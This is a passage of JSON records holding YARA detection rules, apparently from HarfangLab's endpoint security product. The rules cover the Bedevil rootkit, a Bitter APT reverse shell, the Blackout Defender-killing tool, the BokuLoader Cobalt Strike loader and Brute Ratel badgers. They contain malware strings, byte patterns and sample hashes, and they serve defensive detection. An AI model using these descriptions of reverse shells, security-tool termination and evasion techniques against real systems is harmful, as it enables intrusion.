+  "content": "rule bedevil_rootkit {\n    meta:\n        title = \"Bedevil Rootkit\"\n        id = \"2dca504a-0e34-4552-9823-720848c06cc6\"\n        description = \"Detects the Bedevil (bdvl) Rootkit.\\nBedevil is a userland rootkit that leverages LD_PRELOAD to patch the dynamic linker.\\nThis allows it to intercept and control most function calls, establishing persistence.\"\n        references = \"https://github.com/Error996/bdvl\\nhttps://dfir.ch/posts/bedevil_dynamic_linker_patching/\\nhttps://unit42.paloaltonetworks.com/muddled-libra/\"\n        date = \"2024-11-14\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.persistence;attack.t1574;attack.defense_evasion;attack.t1014;attack.t1070.004;attack.t1564;attack.command_and_control;attack.t1095;attack.t1071\"\n        classification = \"Linux.Rootkit.Bedevil\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // c8a684ff72072f62743b768b41cf648f0845acd688043173157e1b8c31e50540\n        // 1cb267482c67365727cc448457757bdb0a0b2cd7fe71d5a8a8a8a88ee634d281\n\n        $generic_s1 = \"Removing other bdvl paths\" ascii fullword\n        $generic_s2 = \"SELinux is disabled. Good.\" ascii fullword\n        $generic_s3 = \"Accept backdoor port:\" ascii\n        $generic_s4 = \"Killing ICMP backdoor\" ascii fullword\n        $generic_s5 = \"LD_PRELOAD\" ascii fullword\n        $generic_s6 = \"/lib/libresid-bui/\" ascii\n        $generic_s7 = \"Hidden port(s):\" ascii\n        $generic_s8 = \"*/bdvprep\" ascii fullword\n        $generic_s9 = \"*ld-*.so\" ascii\n\n        // https://github.com/Error996/bdvl/blob/a3c982f8e3ae8fe70227f1956f03c71a893507ef/inc/hooks/libdl/gsym.c#L21\n        $stub_hook = {\n            C7 85 ?? ?? ?? ?? ?? 00 00 00 // mov          dword ptr [rbp-0xD0], 0x08\n            C7 85 ?? ?? ?? ?? ?? 00 00 00 // mov          dword ptr [rbp-0xCC], 0x30\n            48 8D 45 ??                   // lea          rax, [rbp+0x10]\n            48 89 85 ?? FF FF FF          // mov          [rbp-0xC8], rax\n            48 8D 85 ?? FF FF FF          // lea          rax, [rbp-0xB0]\n            48 89 85 ?? FF FF FF          // mov          [rbp-0xC0], rax\n            EB ??                         // jmp          .3\n            83 BD ?? FF FF FF 59          // cmp          dword ptr [rbp-0xB4], 0x59\n            [2-4]\n            48 8B 95 ?? FF FF FF          // mov          rdx, [rbp-0xD8]\n            8B 85 ?? FF FF FF             // mov          eax, [rbp-0xB4]\n            48 89 D6                      // mov          rsi, rdx\n            89 C7                         // mov          edi, eax\n            E8 ?? ?? FF FF                // call         jmp_get_symbol_pointer()\n        }\n\n        // https://github.com/Error996/bdvl/blob/a3c982f8e3ae8fe70227f1956f03c71a893507ef/inc/util/install/ldpatch/patch.c#L42\n        $stub_ldpatch_memcpy = {\n            8B 45 ??                      // mov          eax, [rbp-0x??]\n            8D 50 ??                      // lea          edx, [rax+0x01]\n            89 55 ??                      // mov          [rbp-0x??], edx\n            48 63 D0                      // movsxd       rdx, eax\n            48 8B 85 ?? FF FF FF          // mov          rax, [rbp-0x??]\n            [3-4]\n            8B ?5 ??                      // mov          e?x, [rbp-0x?8]\n            48 63 ??                      // movsxd       r?x, e?x\n            48 8B ?5 ??                   // mov          r?x, [rbp-0x?8]\n            48 01 ??                      // add          rdx, rcx\n            [5-16]\n            83 45 ?? 01                   // add          dword ptr [rbp-0x?8], 0x01\n        }\n\n        // https://github.com/Error996/bdvl/blob/a3c982f8e3ae8fe70227f1956f03c71a893507ef/inc/util/install/install.c#L13\n        $stub_anselinux = {\n            E8 ?? ?? FF FF                // call         _hook\n            48 8B 05 ?? ?? 00 00          // mov          rax, qword [rel symbols]\n            48 8B 90 98 01 00 00          // mov          rdx, qword [rax+0x198]\n            BE 00 00 00 00                // mov          esi, 0x0\n            48 8D ?? ?? ?? 00 00          // lea          rax, [rel data_18d5c]\n            [0-3]\n            B8 00 00 00 00                // mov          eax, 0x0\n            FF D2                         // call         rdx\n            89 45 FC                      // mov          dword [rbp-0x4], eax\n            83 7D FC 00                   // cmp          dword [rbp-0x4], 0x0\n            74 13                         // je           0xe2ac\n        }\n\n    condition:\n        uint16(0) == 0x457f and (all of ($stub_*) or 6 of ($generic_s*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "bedevil_rootkit"
+  ],
+  "rule_creation_date": "2024-11-14",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Rootkit.Bedevil"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071",
+    "attack.t1070.004",
+    "attack.t1095",
+    "attack.t1564",
+    "attack.t1574",
+    "attack.t1014"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-bitter_apt_reverse_shell_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576307Z",
+  "creation_date": "2026-03-23T11:46:25.576310Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576315Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/groups/G1002/"
+  ],
+  "name": "bitter_apt_reverse_shell.yar",
+  "content": "rule bitter_apt_reverse_shell {\n    meta:\n        title = \"Bitter APT Reverse Shell\"\n        id = \"8f996d75-0ec5-4e9a-b6e3-933cd4dd6ae6\"\n        description = \"Detects the Bitter APT reverse shell.\\nBitter APT (aka APT17) is a suspected South Asian cyber espionage group active since at least 2013. They employ reverse shells for command and control, and this rule detects a custom built reverse shell attributed to this APT.\\nIt is recommended to investigate related network communication, quarantine detected files and to look for further malicious actions on the host.\"\n        references = \"https://attack.mitre.org/groups/G1002/\"\n        date = \"2024-10-11\"\n        modified = \"2025-03-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.initial_access;attack.t1566.001;attack.execution;attack.t1204.002;attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Trojan.ReverseShell\"\n        context = \"process,memory,thread,file.pe\"\n        arch = \"x86,x64\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // bc721a6e24dd92f5f74799e44d6dab58cb69a87e2dd8b48136b31cd19af2bed7\n        // 5eb7a6322b37de5b30a8f256f10a4008b600b1345a8ef6f18da6e99f2f19b4f5\n        // 5de9131252e6bc5a336516b9de4d7e0e0e2e3cde38ace85dbda39a3a166eb1a5\n\n        $f1  = \"<RunExternalCommandAsync>\" ascii\n        $f2  = \"<StartReverseShellClient>\" ascii\n        $f3  = \"<ReceiveAndExecuteCommandsAsync>\" ascii\n\n        $s1  = \"(?<=^| )(\\\"[^\\\"]*\\\"|\\\\S+)(?=$| )\" wide fullword\n        $s2  = \"Attempting to reconnect in 5 seconds...\" wide fullword\n        $s3  = \"Failed to upload {0} to {1}: {2}\" wide fullword\n\n    condition:\n        2 of ($f*) and 2 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "bitter_apt_reverse_shell"
+  ],
+  "rule_creation_date": "2024-10-11",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.ReverseShell"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1566.001",
+    "attack.t1204.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-blackout_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576021Z",
+  "creation_date": "2026-03-23T11:46:25.576023Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576029Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/ZeroMemoryEx/Blackout/\nhttps://www.loldrivers.io/drivers/7ce8fb06-46eb-4f4f-90d5-5518a6561f15/\nhttps://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "blackout.yar",
+  "content": "rule blackout {\n    meta:\n        title = \"Blackout HackTool\"\n        id = \"22ff49d7-43a4-4641-82c3-012936d91882\"\n        description = \"Detects the Blackout HackTool.\\nBlackout is a tool that leverages the gmer64.sys vulnerable driver to terminate protected processes.\"\n        references = \"https://github.com/ZeroMemoryEx/Blackout/\\nhttps://www.loldrivers.io/drivers/7ce8fb06-46eb-4f4f-90d5-5518a6561f15/\\nhttps://attack.mitre.org/techniques/T1562/001/\"\n        date = \"2023-05-26\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001;attack.privilege_escalation;attack.t1068\"\n        os = \"Windows\"\n        classification = \"Windows.HackTool.Blackout\"\n        context = \"process,memory,thread,file.pe\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // f6831e2507070ad6788784d9295f50e070d1849e219f9fc60ab9a1ccdc181609\n\n        $s1 = \"DeviceIoControl failed. Error: %X\" ascii\n        $s2 = \"Blackout.pdb\" ascii\n        $s3 = \"Terminating Windows Defender ..\" ascii\n        $s4 = \"Usage: Blackout.exe -p <process_id>\" ascii\n        $s5 = \"faild to load driver ,try to run the program as administrator!!\" ascii\n        $s6 = \"Blackout.sys\" ascii\n\n        $killer_device = \"\\\\\\\\.\\\\blackout\" wide ascii\n        $killer_winapi_01 = \"CreateFile\" wide ascii\n        $killer_winapi_02 = \"DeviceIoControl\" wide ascii\n        $killer_winapi_03 = \"CreateToolhelp32Snapshot\" wide ascii\n        $killer_winapi_04 = \"Process32First\" wide ascii\n        $killer_winapi_05 = \"Process32Next\" wide ascii\n        $killer_winapi_06 = \"OpenSCManager\" wide ascii\n        $killer_winapi_07 = \"OpenService\" wide ascii\n        $killer_winapi_08 = \"StartService\" wide ascii\n        $killer_winapi_09 = \"CreateService\" wide ascii\n        $killer_ioctl_kill = { (98 76 C0 94|94 c0 76 98) }\n        $killer_ioctl_init = { (98 76 C0 04|04 c0 76 98) }\n\n    condition:\n        2 of ($s*)\n        or all of ($killer_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "blackout"
+  ],
+  "rule_creation_date": "2023-05-26",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Blackout"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-bokuloader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581085Z",
+  "creation_date": "2026-03-23T11:46:25.581088Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581093Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/boku7/BokuLoader\nhttps://www.cobaltstrike.com/product/features/user-defined-reflective-loader\nhttps://attack.mitre.org/software/S0154/"
+  ],
+  "name": "bokuloader.yar",
+  "content": "rule bokuloader {\n    meta:\n        title = \"BokuLoader Cobalt Strike Reflective Loader\"\n        id = \"67807402-9574-4cd6-b850-f4f185486a58\"\n        description = \"Detects BokuLoader, a Cobalt Strike User-Defined Reflective Loader (UDRL) written in Assembly & C for advanced evasion capabilities that employs features like sleepmask, cleanup, and obfuscation for evasion.\"\n        references = \"https://github.com/boku7/BokuLoader\\nhttps://www.cobaltstrike.com/product/features/user-defined-reflective-loader\\nhttps://attack.mitre.org/software/S0154/\"\n        date = \"2024-03-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 204c249efc7333d3f1ec9203bb25f70ac64f75f5521ef7289e7674e6be8ba86f\n        // 375406fb18237f91d73de296937960f83ce468c417e02b15ea3ebcae4ef1ae8e\n        // 7573b38ed00c92326ec123acca758f5a5e27c8ef8f80bcb02fe171dfd191066b\n\n        $asm = {\n                                        // spoof_synthetic_callstack:\n            4C 89 E0                                      // mov     rax, r12\n            49 89 FA                                      // mov     r10, rdi\n            49 89 F3                                      // mov     r11, rsi\n            41 5C                                         // pop     r12\n            48 8B 7C 24 20                                // mov     rdi, [rsp-8+arg_20]\n            48 8B 74 24 28                                // mov     rsi, [rsp-8+arg_28]\n            4C 89 57 18                                   // mov     [rdi+18h], r10\n            4C 89 5F 58                                   // mov     [rdi+58h], r11\n            48 89 47 60                                   // mov     [rdi+60h], rax\n            4C 89 6F 68                                   // mov     [rdi+68h], r13\n            4C 89 77 70                                   // mov     [rdi+70h], r14\n            4C 89 7F 78                                   // mov     [rdi+78h], r15\n\n                                        // prepare_synthetic_stack_frames:\n            4D 31 DB                                      // xor     r11, r11\n            4C 8B 6C 24 30                                // mov     r13, [rsp-8+arg_30]\n            4D 31 F6                                      // xor     r14, r14\n            49 83 C6 08                                   // add     r14, 8\n            4C 03 77 38                                   // add     r14, [rdi+38h]\n            4C 03 77 30                                   // add     r14, [rdi+30h]\n            4C 03 77 20                                   // add     r14, [rdi+20h]\n            49 83 EE 20                                   // sub     r14, 20h\n            49 89 E2                                      // mov     r10, rsp\n            49 83 C2 30                                   // add     r10, 30h\n\n                                        // loop_move_api_call_stack_args:\n            4D 31 FF                                      // xor     r15, r15\n            4D 39 EB                                      // cmp     r11, r13\n            74 1A                                         // jz      short create_synthetic_stack_frames\n            49 83 EE 08                                   // sub     r14, 8\n            49 89 E7                                      // mov     r15, rsp\n            4D 29 F7                                      // sub     r15, r14\n            49 83 C2 08                                   // add     r10, 8\n            41 FF 32                                      // push    qword ptr [r10]\n            41 8F 07                                      // pop     qword ptr [r15]\n            49 83 C3 01                                   // add     r11, 1\n            EB DE                                         // jmp     short loop_move_api_call_stack_args\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "bokuloader"
+  ],
+  "rule_creation_date": "2024-03-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-bruteratel_badger_32d0c9b21294_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569676Z",
+  "creation_date": "2026-03-23T11:46:25.569678Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569684Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"
+  ],
+  "name": "bruteratel_badger_32d0c9b21294.yar",
+  "content": "rule bruteratel_badger_32d0c9b21294 {\n    meta:\n        title = \"Bruteratel Badger (32d0c9b21294)\"\n        id = \"a81481e9-8707-4988-9126-32d0c9b21294\"\n        description = \"Detects the Bruteratel framework's badger.\\nThe badger is the beacon allowing command and control operations in the Bruteratel framework.\\nThe badger has extensive abilities to spy and control the host computer, as well as defense evasion techniques.\"\n        references = \"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/\"\n        date = \"2022-10-04\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1055.003;attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Framework.BruteRatel\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // ca703f2e65e858b4cb16285c5f9d6934f01f0947218e7f68f19d7874c21f018e\n        // 3a7230ce8b7a79036e540c5cc6017c544e3a95f49733514fc223d3aff4e9dc02\n        // dbb0435fc3a6b899b005ad8cda2bf242ac3f85ddf1db7752633d6d1a2c21cc66\n        // 14665efaff0218648bd8d69cbeb22b1d10754a5c55725eb9e8bbe6d704c455a2\n        // 46477979e3f3fab2b15490eac18cf486d6fdd5870faa5afa5654f1a0deb28c81\n\n\n        $syscall_hash_01 = { BD CA 3B D3 }  // NtAllocateVirtualMemory\n        $syscall_hash_02 = { B2 C1 06 AE }  // NtWaitForSingleObject\n        $syscall_hash_03 = { 89 4D 39 8C }  // NtProtectVirtualMemory\n        $syscall_hash_04 = { 74 EB 1D 4D }  // NtCreateThreadEx\n        $syscall_hash_05 = { 26 25 19 3E }  // RtlAllocateHeap\n        $syscall_hash_06 = { B8 12 DA 00 }  // RtlFreeHeap\n        $syscall_hash_07 = { 89 4D 39 8C }  // NtProtectVirtualMemory\n        $syscall_hash_08 = { 5D 91 6B EC }  // LdrGetDllHandleEx\n        $syscall_hash_09 = { 07 C4 4C E5 }  // LdrGetProcedureAddress\n        $syscall_hash_10 = { 5B BC 4A 6A }  // kernel32.dll\n        $syscall_hash_11 = { B8 0A 4C 53 }  // NtFlushInstructionCache\n        $syscall_hash_12 = { 8E 4E 0E EC }  // LoadLibraryA\n        $syscall_hash_13 = { AA FC 0D 7C }  // GetProcAddress\n\n        // Manuel stack reconstruction\n        $stack_recons = {\n            ( BE | BF | B9 | BA ) [4]  // mov     rax, 67685635h\n            ( 56 | 57 | 50 | 52 )      // push    rax\n        }\n\n        // Syscall hash calculation\n        $fct_1 = {\n            0F BE 13  // movsx   edx, byte ptr [ebx]\n            84 D2     // test    dl, dl\n            74 ??     // jz      short loc_402E92\n            D3 C8     // ror     eax, cl\n            43        // inc     ebx\n            01 D0     // add     eax, edx\n            EB ??     // jmp     short loc_402E84\n        }\n\n        // Userland hooking search\n        $fct_2 = {\n            89 C2        // mov     edx, eax\n            83 E8 20     // sub     eax, 20h ; ' '\n            0F B6 4A E0  // movzx   ecx, byte ptr [edx-20h]\n            80 F9 E9     // cmp     cl, 0E9h ; 'é'\n            74 ??        // jz      short loc_457761\n            80 78 03 E9  // cmp     byte ptr [eax+3], 0E9h ; 'é'\n            75 ??        // jnz     short loc_457775\n        }\n\n    condition:\n        #stack_recons > 100\n        and 5 of ($syscall_hash_*)\n        and 1 of ($fct_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "bruteratel_badger_32d0c9b21294"
+  ],
+  "rule_creation_date": "2022-10-04",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.BruteRatel"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.003",
+    "attack.t1071.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-bruteratel_badger_9cf7af8b46ae_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569736Z",
+  "creation_date": "2026-03-23T11:46:25.569738Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569744Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"
+  ],
+  "name": "bruteratel_badger_9cf7af8b46ae.yar",
+  "content": "rule bruteratel_badger_9cf7af8b46ae {\n    meta:\n        title = \"Bruteratel Badger (9cf7af8b46ae)\"\n        id = \"bd6b8fc4-2dd6-431c-88d9-9cf7af8b46ae\"\n        description = \"Detects the Bruteratel framework's badger.\\nThe badger is the beacon allowing command and control operations in the Bruteratel framework.\\nThe badger has extensive abilities to spy and control the host computer, as well as defense evasion techniques.\"\n        references = \"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/\"\n        date = \"2022-07-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1055.003;attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Framework.BruteRatel\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 31acf37d180ab9afbcf6a4ec5d29c3e19c947641a2d9ce3ce56d71c1f576c069\n        // 3ed21a4bfcf9838e06ad3058d13d5c28026c17dc996953a22a00f0609b0df3b9\n        // 38df138344f537f004f1d553bf29c896a9f4107a3677b99b3087f918e7aad386\n        // 384ea66eb3f27c9adc9d0f23a975d94c226d59fcaf828c64ae259fa303a0115c\n        // 2d6db36009e135439a1e43d936a721f53b678073998d2d51239f0c9c36fea372\n        // 6ce6d68784199f2bb6890edc6e5304b859810fcee5e78ed7ab56fc30069e4323\n        // 25fc7b50fdeee75ec577f456b961b0e4ad1fce9e728c06f95f41e08d60d49320\n        // 63fa9da092e2f054035e4d3d8adc2158ac415f15ea582206624d0fb748734d9a\n        // 5856c8c6fb4387e174a2b7f072a9bb321aa1378e6aaac64eafb63a944d64e7e4\n        // 0527c6a1d42aef486937efa3a3415b668b2247ca87e6c53218abc532f3bf3ec6\n        // 48204c5d86ffc68a3abc44423a78240c41fedb8179bea3432e43fe917b0c9a9f\n\n        $syscall_hash_01 = { BD CA 3B D3 }  // NtAllocateVirtualMemory\n        $syscall_hash_02 = { B2 C1 06 AE }  // NtWaitForSingleObject\n        $syscall_hash_03 = { 89 4D 39 8C }  // NtProtectVirtualMemory\n        $syscall_hash_04 = { 74 EB 1D 4D }  // NtCreateThreadEx\n        $syscall_hash_05 = { 26 25 19 3E }  // RtlAllocateHeap\n        $syscall_hash_06 = { B8 12 DA 00 }  // RtlFreeHeap\n        $syscall_hash_07 = { 89 4D 39 8C }  // NtProtectVirtualMemory\n        $syscall_hash_08 = { 5D 91 6B EC }  // LdrGetDllHandleEx\n        $syscall_hash_09 = { 07 C4 4C E5 }  // LdrGetProcedureAddress\n        $syscall_hash_10 = { 5B BC 4A 6A }  // kernel32.dll\n        $syscall_hash_11 = { B8 0A 4C 53 }  // NtFlushInstructionCache\n        $syscall_hash_12 = { 8E 4E 0E EC }  // LoadLibraryA\n        $syscall_hash_13 = { AA FC 0D 7C }  // GetProcAddress\n\n        // Manuel stack reconstruction\n        $stack_recons_1 = {\n            48 B8 [8]  // mov     rax, 6768563361647245h\n            50         // push    rax\n        }\n\n        //\n        // Version specific indicators\n        //\n\n        // --- Pre-leak ---\n\n        // Syscall number from hash\n        $brute_v1_1 = {\n            AC        // lodsb\n            84 C0     // test    al, al\n            74 ??     // jz      short loc_43C90\n            C1 CF 0D  // ror     edi, 0Dh\n            01 C7     // add     edi, eax\n            EB ??     // jmp     short loc_43C84\n            4C 39 C7  // cmp     rdi, r8\n            75 ??     // jnz     short loc_43C6F\n            8B 42 ??  // mov     eax, [rdx+24h]\n            48 01 E8  // add     rax, rbp\n        }\n\n        // Userland hooking bypass\n        $brute_v1_2 = {\n            80 7F F? CC     // cmp     byte ptr [rdi-1], 0CCh\n            74 ??           // jz      short loc_43C36\n            0F B6 07        // movzx   eax, byte ptr [rdi]\n            3D E9 00 00 00  // cmp     eax, 0E9h\n            74 ??           // jz      short loc_43C04\n            0F B6 47 ??     // movzx   eax, byte ptr [rdi+3]\n            3D E9 00 00 00  // cmp     eax, 0E9h\n            8B 07           // mov     eax, [rdi]\n            3D 4C 8B D1 B8  // cmp     eax, 0B8D18B4Ch\n        }\n\n        // --- Leaked version ---\n\n        // Manuel stack reconstruction\n        // New version uses more registers\n        $stack_recons_2 = {\n            49 BC [8]  // mov     r12, 6C56366479583951h\n            41 54      // push    r12\n        }\n\n        // Syscall hash calculation\n        $brute_v2_1 = {\n            49 83 C1 01  // add     r9, 1\n            D3 C8        // ror     eax, cl\n            44 01 C0     // add     eax, r8d\n            45 0F BE 01  // movsx   r8d, byte ptr [r9]\n            45 84 C0     // test    r8b, r8b\n            75 ??        // jnz     short loc_544B6\n        }\n\n        // Userland hooking search\n        $brute_v2_2 = {\n            48 89 C8        // mov     rax, rcx\n            48 83 E9 20     // sub     rcx, 20h ; ' '\n            44 0F B6 40 E0  // movzx   r8d, byte ptr [rax-20h]\n            41 80 F8 E9     // cmp     r8b, 0E9h\n            74 ??           // jz      short loc_543CB\n            44 0F B6 49 03  // movzx   r9d, byte ptr [rcx+3]\n            41 80 F9 